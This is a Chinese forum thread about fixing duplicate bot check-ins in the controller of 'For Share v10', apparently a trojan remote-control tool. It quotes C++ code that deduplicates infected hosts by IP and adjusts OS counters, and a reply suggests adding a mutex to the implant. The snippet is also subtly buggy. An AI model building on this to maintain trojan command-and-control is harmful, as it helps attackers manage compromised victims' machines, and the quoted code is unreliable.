关于For Share v10重复上线的问题怎么解决!
下面是小阿宇回复我的。 但说的比较粗略本人新手,不知道怎么调试, 希望吊大的朋友具体说下应该怎么放,放哪,谢谢了!--------------------------------------------------------------------------------------
把以下代码添加到ForShareView.cpp int Tmpi=0;
for( Tmpi = 0 ; Tmpi < nCnt ; Tmpi++ )
{
if( m_pListCtrl->GetItemText( nCnt , 2 ) == m_pListCtrl->GetItemText( Tmpi , 2 ))
{//先判断外网IP
if( m_pListCtrl->GetItemText( nCnt , 3 ) == m_pListCtrl->GetItemText( Tmpi , 3 ))
{//再判断内网IP
CString strOSCount;
strOSCount = m_pListCtrl->GetItemText( i, 5 );
if ( strOSCount.Find(_T("NT")) != -1 )
{
g_pFrame->nOSCount--;
}
if ( strOSCount.Find(_T("2000")) != -1 )
{
g_pFrame->nOSCount--;
}
if ( strOSCount.Find(_T("XP")) != -1 )
{
g_pFrame->nOSCount--;
}
if ( strOSCount.Find(_T("2003")) != -1 )
{
g_pFrame->nOSCount--;
}
if ( strOSCount.Find(_T("Vista")) != -1 )
{
g_pFrame->nOSCount--;
}
if ( strOSCount.Find(_T("2008")) != -1 )
{
g_pFrame->nOSCount--;
}
if ( strOSCount.Find(_T("Win 7")) != -1 )
{
g_pFrame->nOSCount--;
}
if ( strOSCount.Find(_T("Win 8")) != -1 )
{
g_pFrame->nOSCount--;
}
if ( strOSCount.Find(_T("Win 8.1")) != -1 )
{
g_pFrame->nOSCount--;
}
if ( strOSCount.Find(_T("2012")) != -1 )
{
g_pFrame->nOSCount--;
}
if ( strOSCount.Find(_T("Win 10")) != -1 )
{
g_pFrame->nOSCount--;
}
if ( strOSCount.Find(_T("Win 2016")) != -1 )
{
g_pFrame->nOSCount--;
}
//
m_pListCtrl->DeleteItem(Tmpi);
g_pFrame->m_nCount--;
// // strLogText.Format( "重复上线: [%s] -> 系统: [%s] -> 分组: [%s] -> 区域: [%s]", IPAddress, strOS, LoginInfo->UpGroup, str );
// // g_pLogView->InsertLogItem( strLogText, 0, 2);
}
}
}
}catch(...){}
// 更新当前连接总数
g_pFrame->ShowConnectionsNumber();
g_pTabView->UpDateNumber();
//g_pFrame->ShowOSCount();
return 0;
}
然后在MainFrm.h的public:里面添加
int nOSCount ;
---------------------------------------------------------------------------------
主控里面加 - -这个
然后服务端拿添加 互斥之类的0 0
去找找别的远控上都有这些的源码0 0论坛随便哪一款都都可以0 0
区参照我发的那款1.5源码0 0 小木马 发表于 2017-1-10 21:43
主控里面加 - -这个
然后服务端拿添加 互斥之类的0 0
去找找别的远控上都有这些的源码0 0论坛随便哪一款 ...
要是会的话就不发帖了!!l小马哥,要不你发个修复好的版本出来呗!!
页:
[1]